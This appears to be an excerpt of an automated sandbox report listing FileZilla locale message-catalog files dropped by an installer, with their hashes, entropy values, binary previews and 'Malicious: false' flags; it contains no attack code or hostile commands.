SHA-512:	034AE5BF76AD9A508B4CF2B91763D6C5AFF425A34CFDFEC0324AFDFF9F7DADD344AA0B48063A53AA0E7F9A1AA86A3CDF000E2ED6D4B1497A04E27B9A95423F9A
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...A.......9...:.......t...........$.......#.......4...........0...,...@.......m...................E....... .......a.../...Z......./.......-..........J.......u...............................................................5.......O.......i...................4.......H...........2...2...G.......z...".......)...........................................8.......M...'...

C:\Program Files (x86)\Fzilla\locales\fa_IR\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1146 messages, Project-Id-Version: FileZilla3 '%H:%M:%S \330\263\331\276\330\261\331\212 \330\264\330\257\331\207'
Category:	dropped
Size (bytes):	128961
Entropy (8bit):	5.415307562752638
Encrypted:	false
SSDEEP:	3072:niJ+l3JmazXdxiaQDZflEJi1QYt3uo1t5S2AE1lgU70Xxo6My/w2rl:niJ+l3HzNxiamfrdu8XgU7iF/w2rl
MD5:	363A037E42BEE31166854C0B334EC74D
SHA1:	68F1A0871407E00D8F4B3D1C3317DD1765F47462
SHA-256:	A0BDF1A7F4693882B9373AC8D2AAF782A778371925166DC8EC6EB54093F81D5C
SHA-512:	CDA3BF3C92F9D5B5CAE71D37827FB63CBF1A0A66F3D550BB0B55C20246532424487D24AD285B9C4AADECCFE23383A94E83021F679849AF4D4CA5C65628EB82A8
Malicious:	false
Preview:	........z........#.......G.......G.......G.......G..S....G......0H..A...LH.......H..0....H..B....H.......I......(I......2I......@I......PI.."...jI.......I.......I.......I.......I.......I.......I.......I.......I.......I.......J..2....J......RJ......mJ..6....J.......J.......J.......J..;....J.......K.......K......(K......?K......PK......kK......yK..+....K.......K.......K.......K.......K.......K.......K..%....L......@L......HL..4...^L.......L.......L.......L..4....L.......M......)M......3M......AM......NM......ZM......`M......vM......~M.......M.......M.......M.......M.......M.......M.......M.......N.......N.......N......2N......@N..%...JN..0...pN.......N.......N.......N.......N.......N.......N.......O.......O......7O......WO..$...bO..$....O..)....O.......O.......O.......O.......P.......P......%P......9P......YP......uP.......P.. ....P.......P.......P.......P.......P.......P.......P.......P.......P.......Q.......Q.......Q.......Q...... Q......+Q......7Q......>Q......EQ......SQ......eQ......

C:\Program Files (x86)\Fzilla\locales\fa_IR\is-IDU1D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1146 messages, Project-Id-Version: FileZilla3 '%H:%M:%S \330\263\331\276\330\261\331\212 \330\264\330\257\331\207'
Category:	dropped
Size (bytes):	128961
Entropy (8bit):	5.415307562752638
Encrypted:	false
SSDEEP:	3072:niJ+l3JmazXdxiaQDZflEJi1QYt3uo1t5S2AE1lgU70Xxo6My/w2rl:niJ+l3HzNxiamfrdu8XgU7iF/w2rl
MD5:	363A037E42BEE31166854C0B334EC74D
SHA1:	68F1A0871407E00D8F4B3D1C3317DD1765F47462
SHA-256:	A0BDF1A7F4693882B9373AC8D2AAF782A778371925166DC8EC6EB54093F81D5C
SHA-512:	CDA3BF3C92F9D5B5CAE71D37827FB63CBF1A0A66F3D550BB0B55C20246532424487D24AD285B9C4AADECCFE23383A94E83021F679849AF4D4CA5C65628EB82A8
Malicious:	false
Preview:	........z........#.......G.......G.......G.......G..S....G......0H..A...LH.......H..0....H..B....H.......I......(I......2I......@I......PI.."...jI.......I.......I.......I.......I.......I.......I.......I.......I.......I.......J..2....J......RJ......mJ..6....J.......J.......J.......J..;....J.......K.......K......(K......?K......PK......kK......yK..+....K.......K.......K.......K.......K.......K.......K..%....L......@L......HL..4...^L.......L.......L.......L..4....L.......M......)M......3M......AM......NM......ZM......`M......vM......~M.......M.......M.......M.......M.......M.......M.......M.......N.......N.......N......2N......@N..%...JN..0...pN.......N.......N.......N.......N.......N.......N.......O.......O......7O......WO..$...bO..$....O..)....O.......O.......O.......O.......P.......P......%P......9P......YP......uP.......P.. ....P.......P.......P.......P.......P.......P.......P.......P.......P.......Q.......Q.......Q.......Q...... Q......+Q......7Q......>Q......EQ......SQ......eQ......

C:\Program Files (x86)\Fzilla\locales\fa_IR\is-LS3NV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 8 messages, Project-Id-Version: FileZilla3 '\330\252\331\210\330\254\331\207! \332\257\331\210\330\247\331\207\331\212\331\206\330\247\331\205\331\207 \330\250\330\247\330\267\331\204 \330\264\330\257\331\207 \330\247\330\263\330\252'
Category:	dropped
Size (bytes):	1232
Entropy (8bit):	5.754461174675916
Encrypted:	false
SSDEEP:	24:uiStKzL0xz80hLnI54J3t0qtyxiHtPD7No3XmcSyW0y3fD108gu4S4/QL9m7:ujYOzjLI5hqcwbGmcuveD/7
MD5:	21DAB03D2178D2A9B3540B70A994D676
SHA1:	91B615462C2BC837938A333432EA8C47224411B3
SHA-256:	F554A8709234232F23DC85831054951FE55AED08A828FF81EE9CDDAE3820C978
SHA-512:	C6F47FF2662FF837E1EF90D1760690F78245DD69A6F0EAD7CBCF43A9F545BD7955DDCA04BB3489AB49EE4837C38A3DA0301EFF95ECC88F29AF3ED8ECB8F1A637
Malicious:	false
Preview:	................\...................$.......!.......................0...........I.......f.......n...3...m...3.......%.......F.......@...B...;................Beware! Certificate has been revoked.Failed to verify peer certificate.Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.unknown.Project-Id-Version: FileZilla3.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2010-01-08 19:53+0330.Last-Translator: hadi <hadiaj168@yahoo.com>.Language-Team: Barnamenevis.org <http://barnamenevis.org/forum/showthread.php?t=207094>.Language: fa_IR.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.X-Poedit-Language: Persian.X-Poedit-Country: IRAN, ISLAMIC REPUBLIC OF.X-Poedit-SourceCharset: utf-8.Plural-Forms: nplurals=2; plural=(n > 1);......! ......... .... ... ....... .. ..... ...... .../......... .... .

C:\Program Files (x86)\Fzilla\locales\fa_IR\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 8 messages, Project-Id-Version: FileZilla3 '\330\252\331\210\330\254\331\207! \332\257\331\210\330\247\331\207\331\212\331\206\330\247\331\205\331\207 \330\250\330\247\330\267\331\204 \330\264\330\257\331\207 \330\247\330\263\330\252'
Category:	dropped
Size (bytes):	1232
Entropy (8bit):	5.754461174675916
Encrypted:	false
SSDEEP:	24:uiStKzL0xz80hLnI54J3t0qtyxiHtPD7No3XmcSyW0y3fD108gu4S4/QL9m7:ujYOzjLI5hqcwbGmcuveD/7
MD5:	21DAB03D2178D2A9B3540B70A994D676
SHA1:	91B615462C2BC837938A333432EA8C47224411B3
SHA-256:	F554A8709234232F23DC85831054951FE55AED08A828FF81EE9CDDAE3820C978
SHA-512:	C6F47FF2662FF837E1EF90D1760690F78245DD69A6F0EAD7CBCF43A9F545BD7955DDCA04BB3489AB49EE4837C38A3DA0301EFF95ECC88F29AF3ED8ECB8F1A637
Malicious:	false
Preview:	................\...................$.......!.......................0...........I.......f.......n...3...m...3.......%.......F.......@...B...;................Beware! Certificate has been revoked.Failed to verify peer certificate.Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.unknown.Project-Id-Version: FileZilla3.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2010-01-08 19:53+0330.Last-Translator: hadi <hadiaj168@yahoo.com>.Language-Team: Barnamenevis.org <http://barnamenevis.org/forum/showthread.php?t=207094>.Language: fa_IR.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.X-Poedit-Language: Persian.X-Poedit-Country: IRAN, ISLAMIC REPUBLIC OF.X-Poedit-SourceCharset: utf-8.Plural-Forms: nplurals=2; plural=(n > 1);......! ......... .... ... ....... .. ..... ...... .../......... .... .

C:\Program Files (x86)\Fzilla\locales\fi_FI\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1753 messages, Project-Id-Version: FileZilla Client 3.x.x '%H:%M:%S kulunut'
Category:	dropped
Size (bytes):	165615
Entropy (8bit):	5.1958794635505985
Encrypted:	false
SSDEEP:	3072:XEJK9cGP8GymGYE9oFovTmuugw8GJIkCCW0VGkikk68uKO9WD:Uo56YOoFovTmdDJv2
MD5:	915BB615A8749338920EAF329F96A00A
SHA1:	81B6D686BB3E53034F05CDAC3B0BB4B5DABD422C
SHA-256:	B43E9D0EACB684F683129FC1D9D1D7EEED84EA9DB98BE35D91D33B68D0EC33A8
SHA-512:	BE1592DB89B53E57BDF9DF4348E274808AA39E647882C7853E86E33966E301086ED3A9DFACE332BE8FF19EC79725C0F9366F1988A582B63FFE5B61F365A16ADF
Malicious:	false
Preview:	.................6.......m.......m.......m.......m..S....m...... n..A...<n......~n..0....n..B....n.......o.......o......"o......Bo......Wo......eo......oo......zo.......o.."....o.......o.......o.......p..+....p.......p.......q.......q..5...1q......gq......qq.......q.......q.......q.......q.......q.......q.......q.......q.......q..0....r..2...Gr..2...zr.......r..0....r.......r..6....s......Hs......Ns......Zs......ms..;...us.......s.......s.......s.......s.......s.......t.......t.......t......5t......Pt......^t..+...gt.......t.......t.......t.......t.."....t.......t.......u..%..."u......Hu......Pu......`u.. ...ku.......u..H....u..I....u..4...5v......jv..:...vv.......v.......v..4....v.......w......;w......Ew......Sw......`w......lw......ww......}w.......w.......w.......w.......w.......w.......w.......w.......w.......x......&x......@x......Fx......Zx......ox......vx.......x.......x.......x.......x..%....x..O....x..R...1y..1....y..0....y.......y.......y.......z......(z.......z......Dz......

C:\Program Files (x86)\Fzilla\locales\fi_FI\is-TDQL2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1753 messages, Project-Id-Version: FileZilla Client 3.x.x '%H:%M:%S kulunut'
Category:	dropped
Size (bytes):	165615
Entropy (8bit):	5.1958794635505985
Encrypted:	false
SSDEEP:	3072:XEJK9cGP8GymGYE9oFovTmuugw8GJIkCCW0VGkikk68uKO9WD:Uo56YOoFovTmdDJv2
MD5:	915BB615A8749338920EAF329F96A00A
SHA1:	81B6D686BB3E53034F05CDAC3B0BB4B5DABD422C
SHA-256:	B43E9D0EACB684F683129FC1D9D1D7EEED84EA9DB98BE35D91D33B68D0EC33A8
SHA-512:	BE1592DB89B53E57BDF9DF4348E274808AA39E647882C7853E86E33966E301086ED3A9DFACE332BE8FF19EC79725C0F9366F1988A582B63FFE5B61F365A16ADF
Malicious:	false
Preview:	.................6.......m.......m.......m.......m..S....m...... n..A...<n......~n..0....n..B....n.......o.......o......"o......Bo......Wo......eo......oo......zo.......o.."....o.......o.......o.......p..+....p.......p.......q.......q..5...1q......gq......qq.......q.......q.......q.......q.......q.......q.......q.......q.......q..0....r..2...Gr..2...zr.......r..0....r.......r..6....s......Hs......Ns......Zs......ms..;...us.......s.......s.......s.......s.......s.......t.......t.......t......5t......Pt......^t..+...gt.......t.......t.......t.......t.."....t.......t.......u..%..."u......Hu......Pu......`u.. ...ku.......u..H....u..I....u..4...5v......jv..:...vv.......v.......v..4....v.......w......;w......Ew......Sw......`w......lw......ww......}w.......w.......w.......w.......w.......w.......w.......w.......w.......x......&x......@x......Fx......Zx......ox......vx.......x.......x.......x.......x..%....x..O....x..R...1y..1....y..0....y.......y.......y.......z......(z.......z......Dz......

C:\Program Files (x86)\Fzilla\locales\fi_FI\is-TGP3N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla Client 3.x.x 'Ketjun sertifikaatti allekirjoitettiin k\303\244ytt\303\244en turvatonta algoritmia'
Category:	dropped
Size (bytes):	7441
Entropy (8bit):	5.033639577891653
Encrypted:	false
SSDEEP:	192:nKlBQZGJqe790vMm3djIk65qQWx2n9kBL:KlBQkB9EjLaqQWxvL
MD5:	F5889732EB539EE6D922C8F268B90F22
SHA1:	D1BF651E7C623E71DBB1105970A4DE5D3F4AD7FD
SHA-256:	FEF68C4F87F882DE690217E887D45C0C0B8D13B7CC5E73B439FB2AF72815228C
SHA-512:	8AF5A09B1D2FE1AC7368F8386C8F210414714B3D1CD5CE6CEE93E120662806A207EC34CC8A8900699D3B827F33F7CD6924C60F4F6DADA075C5D024CE3AC9244F
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...G...?...?...............".......#.......#......4...N...........................................B....... ...?...\...`...P.......)..........8...-...c...................!...............................!...".......D.......a.......}...!.......................<.......H...........w...6......................,...........:.......U.......j...........................#...

C:\Program Files (x86)\Fzilla\locales\fi_FI\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla Client 3.x.x 'Ketjun sertifikaatti allekirjoitettiin k\303\244ytt\303\244en turvatonta algoritmia'
Category:	dropped
Size (bytes):	7441
Entropy (8bit):	5.033639577891653
Encrypted:	false
SSDEEP:	192:nKlBQZGJqe790vMm3djIk65qQWx2n9kBL:KlBQkB9EjLaqQWxvL
MD5:	F5889732EB539EE6D922C8F268B90F22
SHA1:	D1BF651E7C623E71DBB1105970A4DE5D3F4AD7FD
SHA-256:	FEF68C4F87F882DE690217E887D45C0C0B8D13B7CC5E73B439FB2AF72815228C
SHA-512:	8AF5A09B1D2FE1AC7368F8386C8F210414714B3D1CD5CE6CEE93E120662806A207EC34CC8A8900699D3B827F33F7CD6924C60F4F6DADA075C5D024CE3AC9244F
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...G...?...?...............".......#.......#......4...N...........................................B....... ...?...\...`...P.......)..........8...-...c...................!...............................!...".......D.......a.......}...!.......................<.......H...........w...6......................,...........:.......U.......j...........................#...

C:\Program Files (x86)\Fzilla\locales\fr\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1825 messages, Project-Id-Version: fr '%H:%M:%S \303\251coul\303\251e(s)'
Category:	dropped
Size (bytes):	188166
Entropy (8bit):	5.205645364219349
Encrypted:	false
SSDEEP:	3072:Oa0mEkKsJmB3XkCFjpT77XnwY/V4w4plYfOP5gDT11+aw/gOm5DPWR+fDQ:HrB230CFjpT7TJ/VPAlgcIT11lw/gOmc
MD5:	45C44901F78A309FD7DE1E53B9982A84
SHA1:	C97A2EB30C711D7826A807542421456F0D903F87
SHA-256:	FB3F2C335171585F39B6849D338AB1510DE1680419F7F01E8B32A958F32EF1AC
SHA-512:	C75D38699F951E3508DE0F01AF7C755073F3DF554C6F5DFA913CA74DDB26302F15C9541AA05CB8E9AC23FE3021A8312CB2EEC3D14E12A5C764DECCDDFB9F8F3E
Malicious:	false
Preview:	........!.......$9......,r......,r......-r......>r..S...Lr.......r..A....r.......r..0....s..B...@s.......s.......s.......s.......s.......s.......s.......s.......s.......t.......t.."...2t......Ut......ft......Nu..+...^u.......u.......u.......u..5....u.......u.......u.......v.......v......&v.......v......?v......Qv......ev......vv.......v..K....v..0....v..2...!w..2...Tw.......w..0....w.......w..6....w......"x......(x......4x......Gx..;...Ox.......x.......x.......x.......x.......x.......x.......x.......x.......y.......y......2y......@y..+...Iy......uy.......y.......y.......y.."....y.......y.......y..%....z......*z......2z......Bz.. ...Mz......nz..H....z..I....z..4....{......L{..:...X{.......{.......{.......{..4....{..$....\|......,\|......K\|......U\|......c\|......p\|......\|\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......}.......}......+}......6}......P}......V}......j}.......}.......}.......}.......}.......}.......}..%....}..O....}..R...A~..1....~..0....~.......~......

C:\Program Files (x86)\Fzilla\locales\fr\is-2NQ4F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 77 messages, Project-Id-Version: fr 'Un certificat de la cha\303\256ne a \303\251t\303\251 sign\303\251 en utilisant un algorithme non s\303\251curis\303\251'
Category:	dropped
Size (bytes):	7877
Entropy (8bit):	5.0201004736899675
Encrypted:	false
SSDEEP:	192:dcl/ZpJqe790vMm3db71/JMoKWrKRxVk+oYblV:E/vB9Eb71yg+Rb3
MD5:	D293080740D59E95F516A952CB6BBE81
SHA1:	EBED2C4E8DCFF798AAB234069723E26ADA777A63
SHA-256:	B207CF284CC20713E03031451592CE48BBDA7ABA7AD56F88B79D38C2B9B50E3A
SHA-512:	C309EBC906255A6DD7F0EED8C62CDDB80BB11BA3C14B73B17C13A9BE2B0D76837EFFE534E556EF0CA6C6ADC8D3CFEE688CE51CE633E84421808393AD3987B039
Malicious:	false
Preview:	........M...........................A.......A.../.......q...........$...............>.......)...".......L......._.......\|...................1...............X.......R...t... .......!...................'.......7.......M.......g.......{...............................................................<.......V...4...h...P...............#...........&...)...7...(...a...............................................................%...+...<...+...h...L.......-.................../... ...L...0...m...M.......$..........................D...,...Y...#.......%.......$.......%.......'.......n...C...?.......7.......-......1...X...........5.......................T...z...J.......$....... ...?...+...`...+.......C.......8...........5.......H...!...h...(.......%.......F......."... ...^...C...P...............,..."...-...O.......}...................................................+...$.......P...!...n...........,......."...............:.......R...K...........+...............3...................].......x.......

C:\Program Files (x86)\Fzilla\locales\fr\is-UOKVA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1825 messages, Project-Id-Version: fr '%H:%M:%S \303\251coul\303\251e(s)'
Category:	dropped
Size (bytes):	188166
Entropy (8bit):	5.205645364219349
Encrypted:	false
SSDEEP:	3072:Oa0mEkKsJmB3XkCFjpT77XnwY/V4w4plYfOP5gDT11+aw/gOm5DPWR+fDQ:HrB230CFjpT7TJ/VPAlgcIT11lw/gOmc
MD5:	45C44901F78A309FD7DE1E53B9982A84
SHA1:	C97A2EB30C711D7826A807542421456F0D903F87
SHA-256:	FB3F2C335171585F39B6849D338AB1510DE1680419F7F01E8B32A958F32EF1AC
SHA-512:	C75D38699F951E3508DE0F01AF7C755073F3DF554C6F5DFA913CA74DDB26302F15C9541AA05CB8E9AC23FE3021A8312CB2EEC3D14E12A5C764DECCDDFB9F8F3E
Malicious:	false
Preview:	........!.......$9......,r......,r......-r......>r..S...Lr.......r..A....r.......r..0....s..B...@s.......s.......s.......s.......s.......s.......s.......s.......s.......t.......t.."...2t......Ut......ft......Nu..+...^u.......u.......u.......u..5....u.......u.......u.......v.......v......&v.......v......?v......Qv......ev......vv.......v..K....v..0....v..2...!w..2...Tw.......w..0....w.......w..6....w......"x......(x......4x......Gx..;...Ox.......x.......x.......x.......x.......x.......x.......x.......x.......y.......y......2y......@y..+...Iy......uy.......y.......y.......y.."....y.......y.......y..%....z......*z......2z......Bz.. ...Mz......nz..H....z..I....z..4....{......L{..:...X{.......{.......{.......{..4....{..$....\|......,\|......K\|......U\|......c\|......p\|......\|\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......}.......}......+}......6}......P}......V}......j}.......}.......}.......}.......}.......}.......}..%....}..O....}..R...A~..1....~..0....~.......~......

C:\Program Files (x86)\Fzilla\locales\fr\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 77 messages, Project-Id-Version: fr 'Un certificat de la cha\303\256ne a \303\251t\303\251 sign\303\251 en utilisant un algorithme non s\303\251curis\303\251'
Category:	dropped
Size (bytes):	7877
Entropy (8bit):	5.0201004736899675
Encrypted:	false
SSDEEP:	192:dcl/ZpJqe790vMm3db71/JMoKWrKRxVk+oYblV:E/vB9Eb71yg+Rb3
MD5:	D293080740D59E95F516A952CB6BBE81
SHA1:	EBED2C4E8DCFF798AAB234069723E26ADA777A63
SHA-256:	B207CF284CC20713E03031451592CE48BBDA7ABA7AD56F88B79D38C2B9B50E3A
SHA-512:	C309EBC906255A6DD7F0EED8C62CDDB80BB11BA3C14B73B17C13A9BE2B0D76837EFFE534E556EF0CA6C6ADC8D3CFEE688CE51CE633E84421808393AD3987B039
Malicious:	false
Preview:	........M...........................A.......A.../.......q...........$...............>.......)...".......L......._.......\|...................1...............X.......R...t... .......!...................'.......7.......M.......g.......{...............................................................<.......V...4...h...P...............#...........&...)...7...(...a...............................................................%...+...<...+...h...L.......-.................../... ...L...0...m...M.......$..........................D...,...Y...#.......%.......$.......%.......'.......n...C...?.......7.......-......1...X...........5.......................T...z...J.......$....... ...?...+...`...+.......C.......8...........5.......H...!...h...(.......%.......F......."... ...^...C...P...............,..."...-...O.......}...................................................+...$.......P...!...n...........,......."...............:.......R...K...........+...............3...................].......x.......

C:\Program Files (x86)\Fzilla\locales\gl_ES\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1638 messages, Project-Id-Version: FileZilla 3 GL 1.0 'transcorreron %H:%M:%S'
Category:	dropped
Size (bytes):	161120
Entropy (8bit):	5.100258482579059
Encrypted:	false
SSDEEP:	1536:aRA92JUYQkBdRjzVVmHry7U4m6lDEdyF+i8ZJTxQIru9XvtwcB5KWHhlPqz1+Za2:0AAWAXmH2odyFjYTCJNtwczqzUZaAp
MD5:	475AE41589B1DFD15765EDF32E9BDB53
SHA1:	EDBFC58C102EA2AE05329BD009F39BBA668E77D5
SHA-256:	DDD6DAC8DDAC1360B8D013F5DBF76B29613FB4166D715AA178F372EBB5491E0B
SHA-512:	A4CF43EF567899EFFEE4B3221609B4CD8DCD2F79A72A9C68B0925B9DE59BAF0A33B672247102C92EB60CEF890F2F5BF85FC6664759BF21E59CA10CB447F26FBD
Malicious:	false
Preview:	........f.......L3......\|f......\|f......}f.......f..S....f.......f..A....g......Ng..0..._g..B....g.......g.......g.......g.......h......'h......5h......?h......Jh......Zh.."...th.......h.......h.......i..+....i.......i.......i..5....i......$j.......j......8j......@j......Qj......cj......wj.......j..2....j.......j.......j..6....j......3k......9k......Ek......Xk..;...`k.......k.......k.......k.......k.......k.......k.......k.......l......$l......2l..+...;l......gl......zl.......l.......l.."....l.......l.......l..%....l.......m......$m.. ...4m......Um..H...km..I....m..4....m......3n..:...?n......zn.......n..4....n.......n.......o.......o.......o......)o......5o......;o......Qo......Yo......mo.......o.......o.......o.......o.......o.......o.......o.......o.......p.......p......-p......4p......Hp......Vp......_p..%...ip..O....p..R....p..1...2q..0...dq.......q.......q.......q.......q.......q.......q.......q.......r.......r......Jr......jr......ur..2....r..3....r.......r..$....r..$...!s..)...

C:\Program Files (x86)\Fzilla\locales\gl_ES\is-KDT6G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1638 messages, Project-Id-Version: FileZilla 3 GL 1.0 'transcorreron %H:%M:%S'
Category:	dropped
Size (bytes):	161120
Entropy (8bit):	5.100258482579059
Encrypted:	false
SSDEEP:	1536:aRA92JUYQkBdRjzVVmHry7U4m6lDEdyF+i8ZJTxQIru9XvtwcB5KWHhlPqz1+Za2:0AAWAXmH2odyFjYTCJNtwczqzUZaAp
MD5:	475AE41589B1DFD15765EDF32E9BDB53
SHA1:	EDBFC58C102EA2AE05329BD009F39BBA668E77D5
SHA-256:	DDD6DAC8DDAC1360B8D013F5DBF76B29613FB4166D715AA178F372EBB5491E0B
SHA-512:	A4CF43EF567899EFFEE4B3221609B4CD8DCD2F79A72A9C68B0925B9DE59BAF0A33B672247102C92EB60CEF890F2F5BF85FC6664759BF21E59CA10CB447F26FBD
Malicious:	false
Preview:	........f.......L3......\|f......\|f......}f.......f..S....f.......f..A....g......Ng..0..._g..B....g.......g.......g.......g.......h......'h......5h......?h......Jh......Zh.."...th.......h.......h.......i..+....i.......i.......i..5....i......$j.......j......8j......@j......Qj......cj......wj.......j..2....j.......j.......j..6....j......3k......9k......Ek......Xk..;...`k.......k.......k.......k.......k.......k.......k.......k.......l......$l......2l..+...;l......gl......zl.......l.......l.."....l.......l.......l..%....l.......m......$m.. ...4m......Um..H...km..I....m..4....m......3n..:...?n......zn.......n..4....n.......n.......o.......o.......o......)o......5o......;o......Qo......Yo......mo.......o.......o.......o.......o.......o.......o.......o.......o.......p.......p......-p......4p......Hp......Vp......_p..%...ip..O....p..R....p..1...2q..0...dq.......q.......q.......q.......q.......q.......q.......q.......r.......r......Jr......jr......ur..2....r..3....r.......r..$....r..$...!s..)...

C:\Program Files (x86)\Fzilla\locales\gl_ES\is-NG2PT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 3 GL 1.0 'Un certificado na cadea foi asinado usando un algoritmo inseguro'
Category:	dropped
Size (bytes):	7679
Entropy (8bit):	5.005956534609618
Encrypted:	false
SSDEEP:	192:nKlUU8ZGJqe790vMm3dsUPXPtPLK5mQJC1:KlUTkB9EsuftmQQQ
MD5:	F656676E52A4651F9A3E428952858B28
SHA1:	1CBD35986C365CAC890D626815D2E028FFE8A46D
SHA-256:	515395C0F8D5EED699CA5777411C720B9CBE6C5BD037FC0D0FADB8C7409E173E
SHA-512:	F83AD89FABEEF1F5071590ED4EDA43BE3A361EB5D8F9FD2D2EE51B997FE7A31D1E2C26C660AA38E6FE74E3B8CE6C47BA845838829C47633A78A4C479610D73C2
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...@.......K...o...0....... .......%..........3...0...^...................'.......................A...,...!...n..._.......X...........I...+...x...1...........................................&.......D... ...\...!...}...)...................................'...R...C...V...............+...........+...,...D...-...q...!...........................................".../...

C:\Program Files (x86)\Fzilla\locales\gl_ES\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 3 GL 1.0 'Un certificado na cadea foi asinado usando un algoritmo inseguro'
Category:	dropped
Size (bytes):	7679
Entropy (8bit):	5.005956534609618
Encrypted:	false
SSDEEP:	192:nKlUU8ZGJqe790vMm3dsUPXPtPLK5mQJC1:KlUTkB9EsuftmQQQ
MD5:	F656676E52A4651F9A3E428952858B28
SHA1:	1CBD35986C365CAC890D626815D2E028FFE8A46D
SHA-256:	515395C0F8D5EED699CA5777411C720B9CBE6C5BD037FC0D0FADB8C7409E173E
SHA-512:	F83AD89FABEEF1F5071590ED4EDA43BE3A361EB5D8F9FD2D2EE51B997FE7A31D1E2C26C660AA38E6FE74E3B8CE6C47BA845838829C47633A78A4C479610D73C2
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(..........................@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...@.......K...o...0....... .......%..........3...0...^...................'.......................A...,...!...n..._.......X...........I...+...x...1...........................................&.......D... ...\...!...}...)...................................'...R...C...V...............+...........+...,...D...-...q...!...........................................".../...

C:\Program Files (x86)\Fzilla\locales\he_IL\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1684 messages, Project-Id-Version: PACKAGE VERSION '%H:%M:%S \327\242\327\221\327\250\327\225'
Category:	dropped
Size (bytes):	173021
Entropy (8bit):	5.264148940978267
Encrypted:	false
